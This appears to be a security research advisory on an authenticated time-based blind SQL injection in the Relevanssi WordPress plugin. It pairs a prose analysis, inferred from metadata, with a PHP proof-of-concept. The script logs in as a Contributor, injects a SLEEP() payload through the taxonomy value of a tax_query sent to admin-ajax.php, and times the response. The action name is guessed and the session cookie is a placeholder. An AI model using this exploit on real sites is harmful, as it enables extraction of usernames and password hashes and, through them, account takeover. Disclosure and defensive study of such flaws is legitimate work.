Atomic Edge analysis of CVE-2026-15941 (metadata-based): This vulnerability is an authenticated SQL Injection in the Relevanssi and Relevanssi Premium WordPress plugins, affecting versions up to 4.27.1 (free) and 2.30.2 (Premium). The flaw exists in the Admin Search page’s AJAX handler, which allows users with the `edit_posts` capability (Contributor-level and above) to execute time-based blind SQL injection against the WordPress database. The CVSS score is 6.5 (High), due to network accessibility, low attack complexity, and high confidentiality impact, but no integrity or availability impact.
The root cause, inferred from the CWE-89 classification and the description, is improper neutralization of SQL commands. The AJAX handler accepts a URL-encoded `args` parameter, parses it into a `WP_Query`, and then passes user-controlled taxonomy query data into Relevanssi’s taxonomy restriction builder. In that builder, the taxonomy value is sanitized as text but is not parameterized for SQL before being interpolated into a term taxonomy lookup query. This means an attacker can inject SQL syntax through the taxonomy value, which is then concatenated directly into a SQL query. This conclusion is inferred from the metadata and not confirmed from source code because no code diff is available.
Exploitation occurs through the WordPress admin-ajax endpoint: `/wp-admin/admin-ajax.php` with the AJAX action likely named `relevanssi_admin_search` (or similar, based on the plugin’s conventions). The attacker must be authenticated with at least the `edit_posts` capability, which Contributors have. The attacker sends a POST request with a specially crafted `args` parameter containing a `tax_query` that includes a `taxonomy` value with a SQL injection payload. The payload uses time-based blind SQL injection techniques, such as `SLEEP()`, to infer data character by character. Because the query is not parameterized, the payload is executed directly, allowing the attacker to extract sensitive data like usernames and password hashes.
Remediation requires parameterizing all SQL queries that involve taxonomy data. Specifically, the term taxonomy lookup query should use `$wpdb->prepare()` with placeholders for the taxonomy value. The developer must also validate that the taxonomy value is a legitimate registered taxonomy slug, perhaps by checking against `get_taxonomies()`. It is likely that the vendor patched this in version 2.30.3 (Premium) and the corresponding free version by introducing proper escaping or using prepared statements. Atomic Edge recommends verifying that the AJAX handler enforces both capability checks and nonce verification, as those are common weaknesses in WordPress plugins.
The impact of successful exploitation is unauthorized disclosure of sensitive data from the WordPress database. An attacker with Contributor-level access can extract the administrator’s password hash, user email addresses, and potentially other confidential information. This can lead to further attacks, such as account takeover if the extracted hash is cracked. The vulnerability does not allow direct privilege escalation or remote code execution, but the data leakage can severely compromise the site’s integrity.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-15941 - Authenticated (Contributor+) SQL Injection
// This PoC exploits the time-based blind SQL injection in the Relevanssi Admin Search AJAX handler.
$target_url = 'http://example.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Path to WordPress admin-ajax.php
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Function to make HTTP requests using cURL
function make_request($url, $method = 'GET', $data = [], $cookies = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
if ($method === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
}
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// Step 1: Login to WordPress and obtain authentication cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
// Get login page to capture initial cookies (optional, but often needed)
$initial_cookies = '';
$login_response = make_request($login_url, 'GET', [], $initial_cookies);
// Extract cookies from login response (simplified; in real scenario, parse Set-Cookie headers)
// For this PoC, we assume we already have a valid session cookie.
$auth_cookie = 'wordpress_logged_in_HASH=valid_cookie_value';
// Step 2: Prepare SQL injection payload
// The vulnerable parameter is 'args' which is URL-encoded. We need to include a tax_query with an injected taxonomy slug.
// Time-based payload: sleep(5) when condition is true.
// Example: taxonomy = 'category' AND (SELECT SLEEP(5) FROM information_schema.tables WHERE table_schema=database())-- -'
// Base args structure
$args = [
's' => 'search_term',
'tax_query' => [
'relation' => 'AND',
[
'taxonomy' => "category' AND (SELECT SLEEP(5) FROM information_schema.tables WHERE table_schema=database())-- -",
'field' => 'slug',
'terms' => ['test']
]
]
];
// Encode args as URL-encoded query string (json_encode then urlencode is typical, but we'll use http_build_query for nested structure)
// The plugin likely expects JSON or serialized query. We'll encode as JSON for demonstration.
$encoded_args = urlencode(json_encode($args));
// Step 3: Send AJAX request to trigger the vulnerability
$post_data = [
'action' => 'relevanssi_admin_search', // Assume this is the AJAX action; adjust if different.
'args' => $encoded_args
];
$start_time = microtime(true);
$response = make_request($ajax_url, 'POST', $post_data, $auth_cookie);
$elapsed = microtime(true) - $start_time;
// Step 4: Determine if the injection was successful based on response time
if ($elapsed >= 5) {
echo "[+] SQL injection successful. Response took {$elapsed} seconds.n";
} else {
echo "[-] No delay detected. Injection may have failed or the response was faster.n";
}
?>